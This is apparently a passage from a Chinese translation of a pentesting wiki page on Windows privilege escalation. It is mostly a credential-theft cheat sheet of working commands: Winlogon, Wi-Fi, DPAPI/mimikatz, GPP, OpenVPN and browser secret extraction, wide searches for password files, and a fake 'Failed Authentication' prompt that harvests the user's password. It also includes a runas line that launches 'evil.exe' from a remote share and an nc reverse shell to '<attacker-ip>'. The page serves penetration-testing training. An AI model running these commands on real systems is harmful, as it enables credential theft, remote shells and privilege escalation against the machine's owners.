Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
||
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
|
||
```
|
||
### 开放端口
|
||
|
||
从外部检查是否存在 **受限服务**
|
||
```bash
|
||
netstat -ano #Opened ports?
|
||
```
|
||
### 路由表
|
||
```
|
||
route print
|
||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||
```
|
||
### ARP 表
|
||
```
|
||
arp -A
|
||
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||
```
|
||
### 防火墙规则
|
||
|
||
[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(列出规则，创建规则，关闭，关闭...)**
|
||
|
||
更多[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network)
|
||
|
||
### Windows Subsystem for Linux (wsl)
|
||
```bash
|
||
C:\Windows\System32\bash.exe
|
||
C:\Windows\System32\wsl.exe
|
||
```
|
||
二进制文件 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 找到。
|
||
|
||
如果你获得 root 用户，你可以监听任意端口（第一次使用 `nc.exe` 在端口上监听时，GUI 会询问是否允许 `nc` 通过防火墙）。
|
||
```bash
|
||
wsl whoami
|
||
./ubuntun1604.exe config --default-user root
|
||
wsl whoami
|
||
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||
```
|
||
要轻松以 bash 的 root 身份启动，可以尝试 `--default-user root`
|
||
|
||
你可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统
|
||
|
||
## Windows 凭据
|
||
|
||
### Winlogon 凭据
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||
|
||
#Other way
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
|
||
```
|
||
### 凭证管理器 / Windows vault
|
||
|
||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||
Windows Vault 存储用于服务器、网站和其他程序的用户凭据，**Windows** 可以**自动登录用户**。乍一看，这似乎意味着用户可以存储他们的 Facebook、Twitter、Gmail 等凭证，从而通过浏览器自动登录。但事实并非如此。
|
||
|
||
Windows Vault 存储的是 Windows 可以用来自动登录用户的凭据，这意味着任何 **需要凭据以访问资源的 Windows 应用程序**（服务器或网站）**可以使用此 Credential Manager** & Windows Vault，并使用存储的凭据，而不是让用户每次都输入用户名和密码。
|
||
|
||
除非应用程序与 Credential Manager 交互，否则我认为它们不可能使用某个资源的凭据。因此，如果你的应用程序想使用该 vault，它应以某种方式**与 credential manager 通信并从默认存储 vault 请求该资源的凭据**。
|
||
|
||
使用 `cmdkey` 列出机器上存储的凭据。
|
||
```bash
|
||
cmdkey /list
|
||
Currently stored credentials:
|
||
Target: Domain:interactive=WORKGROUP\Administrator
|
||
Type: Domain Password
|
||
User: WORKGROUP\Administrator
|
||
```
|
||
然后你可以使用 `runas` 和 `/savecred` 选项来使用已保存的凭证。下面的示例通过 SMB 共享调用远程二进制文件。
|
||
```bash
|
||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||
```
|
||
使用提供的凭据运行 `runas`。
|
||
```bash
|
||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||
```
|
||
注意 mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html)，或来自 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。
|
||
|
||
### DPAPI
|
||
|
||
The **Data Protection API (DPAPI)** 提供了一种对数据进行对称加密的方法，主要用于 Windows 操作系统中对非对称私钥的对称加密。该加密利用用户或系统的秘密来显著增加熵。
|
||
|
||
**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**。在涉及系统加密的场景中，它使用系统的域身份验证秘密。
|
||
|
||
使用 DPAPI 加密的用户 RSA 密钥存放在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中，其中 `{SID}` 代表用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**，通常由 64 字节的随机数据组成。（重要的是注意，此目录的访问受限，无法通过 CMD 中的 `dir` 命令列出其内容，但可以通过 PowerShell 列出。）
|
||
```bash
|
||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||
```
|
||
你可以使用 **mimikatz module** `dpapi::masterkey` 并使用适当的参数 (`/pvk` 或 `/rpc`) 来解密它。
|
||
|
||
这些 **credentials files protected by the master password** 通常位于：
|
||
```bash
|
||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
```
|
||
你可以使用 **mimikatz module** `dpapi::cred` 搭配相应的 `/masterkey` 来解密。\
|
||
你可以使用 `sekurlsa::dpapi` 模块从 **memory** 提取许多 DPAPI **masterkeys**（如果你是 root）。
|
||
|
||
|
||
{{#ref}}
|
||
dpapi-extracting-passwords.md
|
||
{{#endref}}
|
||
|
||
### PowerShell 凭据
|
||
|
||
**PowerShell credentials** 常用于 **scripting** 和自动化任务，作为一种方便存储加密凭据的方式。这些凭据受 **DPAPI** 保护，通常意味着它们只能被在同一台创建它们的计算机上的相同用户解密。
|
||
|
||
要从包含它的文件中 **解密** PS 凭据，你可以执行：
|
||
```bash
|
||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
||
PS C:\> $credential.GetNetworkCredential().username
|
||
|
||
john
|
||
|
||
PS C:\htb> $credential.GetNetworkCredential().password
|
||
|
||
JustAPWD!
|
||
```
|
||
### 无线 (Wi‑Fi)
|
||
```bash
|
||
#List saved Wifi using
|
||
netsh wlan show profile
|
||
#To get the clear-text password use
|
||
netsh wlan show profile <SSID> key=clear
|
||
#Oneliner to extract all wifi passwords
|
||
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
|
||
```
|
||
### 已保存的 RDP 连接
|
||
|
||
你可以在 `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
||
和在 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` 中找到它们。
|
||
|
||
### 最近运行的命令
|
||
```
|
||
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||
```
|
||
### **远程桌面凭据管理器**
|
||
```
|
||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||
```
|
||
Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\
|
||
可以使用 Mimikatz 的 `sekurlsa::dpapi` 模块从内存中 **提取多个 DPAPI 主密钥**
|
||
|
||
### Sticky Notes
|
||
|
||
人们常在 Windows 工作站上使用 StickyNotes 应用来 **保存密码** 和其他信息，往往没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`，值得搜索并检查。
|
||
|
||
### AppCmd.exe
|
||
|
||
**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\
|
||
**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录下。\
|
||
如果该文件存在，则可能已配置某些 **credentials** 并且可以被 **recovered**。
|
||
|
||
此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)：
|
||
```bash
|
||
function Get-ApplicationHost {
|
||
$OrigError = $ErrorActionPreference
|
||
$ErrorActionPreference = "SilentlyContinue"
|
||
|
||
# Check if appcmd.exe exists
|
||
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
|
||
# Create data table to house results
|
||
$DataTable = New-Object System.Data.DataTable
|
||
|
||
# Create and name columns in the data table
|
||
$Null = $DataTable.Columns.Add("user")
|
||
$Null = $DataTable.Columns.Add("pass")
|
||
$Null = $DataTable.Columns.Add("type")
|
||
$Null = $DataTable.Columns.Add("vdir")
|
||
$Null = $DataTable.Columns.Add("apppool")
|
||
|
||
# Get list of application pools
|
||
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
|
||
|
||
# Get application pool name
|
||
$PoolName = $_
|
||
|
||
# Get username
|
||
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
|
||
$PoolUser = Invoke-Expression $PoolUserCmd
|
||
|
||
# Get password
|
||
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
|
||
$PoolPassword = Invoke-Expression $PoolPasswordCmd
|
||
|
||
# Check if credentials exists
|
||
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
|
||
# Add credentials to database
|
||
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
|
||
}
|
||
}
|
||
|
||
# Get list of virtual directories
|
||
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
|
||
|
||
# Get Virtual Directory Name
|
||
$VdirName = $_
|
||
|
||
# Get username
|
||
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
|
||
$VdirUser = Invoke-Expression $VdirUserCmd
|
||
|
||
# Get password
|
||
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
|
||
$VdirPassword = Invoke-Expression $VdirPasswordCmd
|
||
|
||
# Check if credentials exists
|
||
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
|
||
# Add credentials to database
|
||
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
|
||
}
|
||
}
|
||
|
||
# Check if any passwords were found
|
||
if( $DataTable.rows.Count -gt 0 ) {
|
||
# Display results in list view that can feed into the pipeline
|
||
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
|
||
}
|
||
else {
|
||
# Status user
|
||
Write-Verbose 'No application pool or virtual directory passwords were found.'
|
||
$False
|
||
}
|
||
}
|
||
else {
|
||
Write-Verbose 'Appcmd.exe does not exist in the default location.'
|
||
$False
|
||
}
|
||
$ErrorActionPreference = $OrigError
|
||
}
|
||
```
|
||
### SCClient / SCCM
|
||
|
||
检查 `C:\Windows\CCM\SCClient.exe` 是否存在 .\
|
||
安装程序**run with SYSTEM privileges**，许多易受**DLL Sideloading (信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||
```bash
|
||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||
if ($result) { $result }
|
||
else { Write "Not Installed." }
|
||
```
|
||
## 文件和注册表（凭证）
|
||
|
||
### Putty 凭证
|
||
```bash
|
||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||
```
|
||
### Putty SSH 主机密钥
|
||
```
|
||
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||
```
|
||
### SSH keys 在注册表中
|
||
|
||
SSH private keys 可以存储在注册表项 `HKCU\Software\OpenSSH\Agent\Keys` 中，所以你应该检查那里是否有任何有趣的内容：
|
||
```bash
|
||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||
```
|
||
如果在该路径下发现任何条目，很可能是保存的 SSH 密钥。它以加密形式存储，但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) 轻松解密。\
|
||
关于该技术的更多信息： [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||
|
||
如果 `ssh-agent` 服务没有运行，而且你希望它在开机时自动启动，请运行：
|
||
```bash
|
||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||
```
|
||
> [!TIP]
|
||
> 看起来这个方法不再有效。我尝试创建一些 ssh keys，使用 `ssh-add` 添加它们并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在，procmon 在非对称密钥认证期间也未识别出 `dpapi.dll` 的使用。
|
||
|
||
### 无人值守文件
|
||
```
|
||
C:\Windows\sysprep\sysprep.xml
|
||
C:\Windows\sysprep\sysprep.inf
|
||
C:\Windows\sysprep.inf
|
||
C:\Windows\Panther\Unattended.xml
|
||
C:\Windows\Panther\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattended.xml
|
||
C:\Windows\System32\Sysprep\unattend.xml
|
||
C:\Windows\System32\Sysprep\unattended.xml
|
||
C:\unattend.txt
|
||
C:\unattend.inf
|
||
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
|
||
```
|
||
您也可以使用 **metasploit** 搜索这些文件： _post/windows/gather/enum_unattend_
|
||
|
||
示例内容:
|
||
```xml
|
||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||
<AutoLogon>
|
||
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
|
||
<Enabled>true</Enabled>
|
||
<Username>Administrateur</Username>
|
||
</AutoLogon>
|
||
|
||
<UserAccounts>
|
||
<LocalAccounts>
|
||
<LocalAccount wcm:action="add">
|
||
<Password>*SENSITIVE*DATA*DELETED*</Password>
|
||
<Group>administrators;users</Group>
|
||
<Name>Administrateur</Name>
|
||
</LocalAccount>
|
||
</LocalAccounts>
|
||
</UserAccounts>
|
||
```
|
||
### SAM & SYSTEM 备份
|
||
```bash
|
||
# Usually %SYSTEMROOT% = C:\Windows
|
||
%SYSTEMROOT%\repair\SAM
|
||
%SYSTEMROOT%\System32\config\RegBack\SAM
|
||
%SYSTEMROOT%\System32\config\SAM
|
||
%SYSTEMROOT%\repair\system
|
||
%SYSTEMROOT%\System32\config\SYSTEM
|
||
%SYSTEMROOT%\System32\config\RegBack\system
|
||
```
|
||
### 云凭证
|
||
```bash
|
||
#From user home
|
||
.aws\credentials
|
||
AppData\Roaming\gcloud\credentials.db
|
||
AppData\Roaming\gcloud\legacy_credentials
|
||
AppData\Roaming\gcloud\access_tokens.db
|
||
.azure\accessTokens.json
|
||
.azure\azureProfile.json
|
||
```
|
||
### McAfee SiteList.xml
|
||
|
||
查找名为 **SiteList.xml** 的文件
|
||
|
||
### 缓存的 GPP 密码
|
||
|
||
以前有一个功能允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义本地管理员账户。然而，该方法存在严重的安全缺陷。首先，作为 XML 文件存储在 SYSVOL 中的 Group Policy Objects (GPOs) 可以被任何域用户访问。其次，这些 GPP 中的密码使用公开文档化的默认密钥以 AES256 加密，但任何经过认证的用户都可以解密这些密码。这构成了严重风险，可能使用户获得提升的权限。
|
||
|
||
为减轻该风险，开发了一个函数，用于扫描本地缓存的包含非空 "cpassword" 字段的 GPP 文件。发现此类文件后，该函数会解密密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 和文件位置的详细信息，帮助识别和修复此安全漏洞。
|
||
|
||
Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files:
|
||
|
||
- Groups.xml
|
||
- Services.xml
|
||
- Scheduledtasks.xml
|
||
- DataSources.xml
|
||
- Printers.xml
|
||
- Drives.xml
|
||
|
||
**解密 cPassword:**
|
||
```bash
|
||
#To decrypt these passwords you can decrypt it using
|
||
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
|
||
```
|
||
使用 crackmapexec 获取密码：
|
||
```bash
|
||
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
|
||
```
|
||
### IIS Web 配置
|
||
```bash
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
|
||
```bash
|
||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
|
||
C:\inetpub\wwwroot\web.config
|
||
```
|
||
|
||
```bash
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
带有凭据的 web.config 示例：
|
||
```xml
|
||
<authentication mode="Forms">
|
||
<forms name="login" loginUrl="/admin">
|
||
<credentials passwordFormat = "Clear">
|
||
<user name="Administrator" password="SuperAdminPassword" />
|
||
</credentials>
|
||
</forms>
|
||
</authentication>
|
||
```
|
||
### OpenVPN 凭证
|
||
```csharp
|
||
Add-Type -AssemblyName System.Security
|
||
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
|
||
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
|
||
|
||
foreach ($item in $items)
|
||
{
|
||
$encryptedbytes=$item.'auth-data'
|
||
$entropy=$item.'entropy'
|
||
$entropy=$entropy[0..(($entropy.Length)-2)]
|
||
|
||
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
|
||
$encryptedBytes,
|
||
$entropy,
|
||
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
|
||
|
||
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
|
||
}
|
||
```
|
||
### 日志
|
||
```bash
|
||
# IIS
|
||
C:\inetpub\logs\LogFiles\*
|
||
|
||
#Apache
|
||
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
### 请求 credentials
|
||
|
||
如果你认为他可能知道，你可以随时**要求用户输入他的 credentials，甚至其他用户的 credentials**（注意，直接向客户端**询问**其**credentials**是非常**危险**的）：
|
||
```bash
|
||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||
|
||
#Get plaintext
|
||
$cred.GetNetworkCredential() | fl
|
||
```
|
||
### **Possible filenames containing credentials**
|
||
|
||
已知一些文件曾在某段时间包含以 **clear-text** 或 **Base64** 存放的 **passwords**
|
||
```bash
|
||
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
|
||
vnc.ini, ultravnc.ini, *vnc*
|
||
web.config
|
||
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
|
||
SiteList.xml #McAfee
|
||
ConsoleHost_history.txt #PS-History
|
||
*.gpg
|
||
*.pgp
|
||
*config*.php
|
||
elasticsearch.y*ml
|
||
kibana.y*ml
|
||
*.p12
|
||
*.der
|
||
*.csr
|
||
*.cer
|
||
known_hosts
|
||
id_rsa
|
||
id_dsa
|
||
*.ovpn
|
||
anaconda-ks.cfg
|
||
hostapd.conf
|
||
rsyncd.conf
|
||
cesi.conf
|
||
supervisord.conf
|
||
tomcat-users.xml
|
||
*.kdbx
|
||
KeePass.config
|
||
Ntds.dit
|
||
SAM
|
||
SYSTEM
|
||
FreeSSHDservice.ini
|
||
access.log
|
||
error.log
|
||
server.xml
|
||
ConsoleHost_history.txt
|
||
setupinfo
|
||
setupinfo.bak
|
||
key3.db #Firefox
|
||
key4.db #Firefox
|
||
places.sqlite #Firefox
|
||
"Login Data" #Chrome
|
||
Cookies #Chrome
|
||
Bookmarks #Chrome
|
||
History #Chrome
|
||
TypedURLsTime #IE
|
||
TypedURLs #IE
|
||
%SYSTEMDRIVE%\pagefile.sys
|
||
%WINDIR%\debug\NetSetup.log
|
||
%WINDIR%\repair\sam
|
||
%WINDIR%\repair\system
|
||
%WINDIR%\repair\software, %WINDIR%\repair\security
|
||
%WINDIR%\iis6.log
|
||
%WINDIR%\system32\config\AppEvent.Evt
|
||
%WINDIR%\system32\config\SecEvent.Evt
|
||
%WINDIR%\system32\config\default.sav
|
||
%WINDIR%\system32\config\security.sav
|
||
%WINDIR%\system32\config\software.sav
|
||
%WINDIR%\system32\config\system.sav
|
||
%WINDIR%\system32\CCM\logs\*.log
|
||
%USERPROFILE%\ntuser.dat
|
||
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
|
||
```
|
||
搜索所有建议的文件：
|
||
```
|
||
cd C:\
|
||
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
|
||
```
|
||
|
||
```
|
||
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
||
```
|
||
### 回收站中的凭据
|
||
|
||
你也应该检查回收站以查找其中的凭据
|
||
|
||
要 **恢复由多个程序保存的密码**，你可以使用： [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||
|
||
### 在注册表中
|
||
|
||
**其他可能包含凭据的注册表键**
|
||
```bash
|
||
reg query "HKCU\Software\ORL\WinVNC3\Password"
|
||
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
|
||
reg query "HKCU\Software\TightVNC\Server"
|
||
reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||
```
|
||
[**从注册表提取 openssh 密钥。**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||
|
||
### 浏览器历史记录
|
||
|
||
你应该检查存放 **Chrome or Firefox** 密码的 dbs。\
|
||
还要检查浏览器的历史记录、书签和收藏夹，可能有些 **密码** 存储在那里。
|
||
|
||
Tools to extract passwords from browsers:
|
||
|
||
- Mimikatz: `dpapi::chrome`
|
||
- [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)
|
||
- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
|
||
- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
|
||
|
||
### **COM DLL Overwriting**
|
||
|
||
**Component Object Model (COM)** 是一种内置于 Windows 操作系统的技术，允许不同语言的软件组件之间进行 **相互通信**。每个 COM 组件通过 **class ID (CLSID)** 来识别，并且每个组件通过一个或多个接口来暴露功能，这些接口由 **interface IDs (IIDs)** 标识。
|
||
|
||
COM 类和接口在注册表下分别定义在 **HKEY\CLASSES\ROOT\CLSID** 和 **HKEY\CLASSES\ROOT\Interface**。该注册表是通过合并 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT** 创建的。
|
||
|
||
Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral).
|
||
|
||
.png>)
|
||
|
||
基本上，如果你能**overwrite any of the DLLs**，并且该 DLL 将被不同用户执行，那么你就可能**escalate privileges**。
|
||
|
||
To learn how attackers use COM Hijacking as a persistence mechanism check:
|
||
|
||
|
||
{{#ref}}
|
||
com-hijacking.md
|
||
{{#endref}}
|
||
|
||
### **在文件和注册表中通用的密码搜索**
|
||
|
||
**搜索文件内容**
|
||
```bash
|
||
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||
findstr /si password *.xml *.ini *.txt *.config
|
||
findstr /spin "password" *.*
|
||
```
|
||
**按特定文件名搜索文件**
|
||
```bash
|
||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||
where /R C:\ user.txt
|
||
where /R C:\ *.ini
|
||
```
|
||
**在注册表中搜索键名和密码**
|
||
```bash
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /d
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||
```
|
||
### 搜索 passwords 的工具
|
||
|
||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** 插件。我创建此插件以 **自动执行每个 metasploit POST module 来搜索 credentials** 在受害者主机内。\
|
||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索本页提到的所有包含 passwords 的文件。\
|
||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个很棒的工具，用于从系统中提取 password。
|
||
|
||
该工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 会搜索多个保存为明文的 **sessions**, **usernames** 和 **passwords**（PuTTY, WinSCP, FileZilla, SuperPuTTY, 和 RDP）
|
||
```bash
|
||
Import-Module path\to\SessionGopher.ps1;
|
||
Invoke-SessionGopher -Thorough
|
||
Invoke-SessionGopher -AllDomain -o
|
||
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||
```
|
||
## Leaked Handlers
|
||
|
||
设想 **a process running as SYSTEM open a new process** (`OpenProcess()`) 并拥有 **full access**。同一进程 **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**。\
|
||
然后，如果你对 **full access to the low privileged process**，你可以获取由 `OpenProcess()` 创建的特权进程的**open handle**，并向其 **inject a shellcode**。\
|
||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||
|
||
## Named Pipe Client Impersonation
|
||
|
||
被称为 **pipes** 的共享内存段允许进程间通信和数据传输。
|
||
|
||
Windows 提供了一种叫做 **Named Pipes** 的功能，允许不相关的进程共享数据，甚至通过不同的网络。这类似于客户端/服务器架构，角色定义为 **named pipe server** 和 **named pipe client**。
|
||
|
||
当数据由 **client** 通过 pipe 发送时，设置该 pipe 的 **server** 有能力 **take on the identity** of the **client**，前提是其具有必要的 **SeImpersonate** 权限。识别可以被你模拟并通过 pipe 通信的 **privileged process**，一旦该进程与您建立的 pipe 交互，就有机会通过采用该进程的身份来 **gain higher privileges**。关于如何执行此类攻击的说明，请参阅 [**here**](named-pipe-client-impersonation.md) 和 [**here**](#from-high-integrity-to-system)。
|
||
|
||
